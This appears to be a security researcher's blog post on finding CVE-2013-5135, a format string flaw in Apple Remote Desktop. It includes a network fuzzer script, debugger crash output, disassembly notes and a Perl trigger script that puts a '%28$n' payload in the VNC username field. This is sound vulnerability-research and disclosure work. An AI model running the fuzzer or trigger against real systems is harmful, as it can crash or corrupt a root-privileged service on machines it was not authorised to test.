How did I find the Apple Remote Desktop bug? - CVE-2013-5135

How did I find the Apple Remote Desktop bug? - CVE-2013-5135

pz 2014-01-13    

Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:

#!/usr/bin/python
import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
)
init2 = (
"Sniffed network connection part 2"
)
init3= (
"Sniffed network connection part 3"
)
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
    for j in range(0,256):
        try:
                hexa = string.atol(str(j))
                buffer = struct.pack('<B',hexa)
            x = act[:i]+buffer+act[(i+len(buffer)):]
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=s.connect(('192.168.1.4',5900)) # hardcoded IP address
            print str(i) + " " + str(j)
            s.send(init1) # send the data
            data = s.recv(1024)
            s.send(init2) # send the data
            data = s.recv(1024)
            s.send(x) # send the data
            data = s.recv(1024)
            s.close()
            time.sleep(1)
        except:
            j = j - 1

This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:

Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??

The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don’t trust this tool blindly ;)

Let’s look at the crash in the debugger:

bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug  5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded.  Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
 
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.
 
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax            0x2  2
rbx            0x10778ba5c  4420319836
rcx            0x37 55
rdx            0x10778a810  4420315152
rsi            0x7f9a22b00000   140299983650816
rdi            0x106926400  4405224448
rbp            0x10778aa40  0x10778aa40
rsp            0x10778a610  0x10778a610
r8             0x106926400  4405224448
r9             0x62 98
r10            0x1224892248900008   1307320572183576584
r11            0x10778aaa8  4420315816
r12            0xb  11
r13            0x38 56
r14            0x0  0
r15            0x6e 110
rip            0x7fff8e2a0321   0x7fff8e2a0321 <__vfprintf+3262>
eflags         0x10246  66118
cs             0x2b 43
ss             0x0  0
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/s $rbx
0x10778ba5c:     " :: Viewer Address: 172.16.29.147 :: Type: DH"

This is very interresting. I assumed “*printf” error meant a common buffer overflow or a format string attack. Let’s see the problematic function:

(gdb) bt
#0  0x00007fff8e2a0321 in __vfprintf ()
#1  0x00007fff8e2ea270 in vasprintf_l ()
#2  0x00007fff8e2d9429 in asl_vlog ()
#3  0x00007fff8e27f7d4 in vsyslog ()
#4  0x00007fff8e27f879 in syslog () # Vulnerability here!
#5  0x00000001075484df in _mh_execute_header ()
#6  0x0000000107521892 in _mh_execute_header ()
#7  0x0000000107532657 in _mh_execute_header ()
#8  0x000000010752d7c1 in _mh_execute_header ()
#9  0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()

I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the “FAILED” keyword in order to find the subroutine of interest:

ida1
ida1

But it turns out that he “Authentication FAILED” string leads us to the interesting part of code:

ida2
ida2

This string is referenced by the sub_1000322a8 function:

ida3
ida3

I followed the cross reference to the “Authentication : FAILED” string:

ida4
ida4

Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):

ida5
ida5

The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:

vnc2
vnc2

And check the secure.log file:

vnc3
vnc3

Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:

  • null bytes in the memory addresses (64 bit architecture)
  • relative small buffer space (~2*64 bytes)
  • non executable stack

If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:

#!/usr/bin/perl
#
# For ARD (Apple Remote Desktop) authentication you must also specify a username. 
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
 
use Net::VNC;
 
$target = "192.168.1.4";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov    %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
 
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
 
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});
$vnc->login;

This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!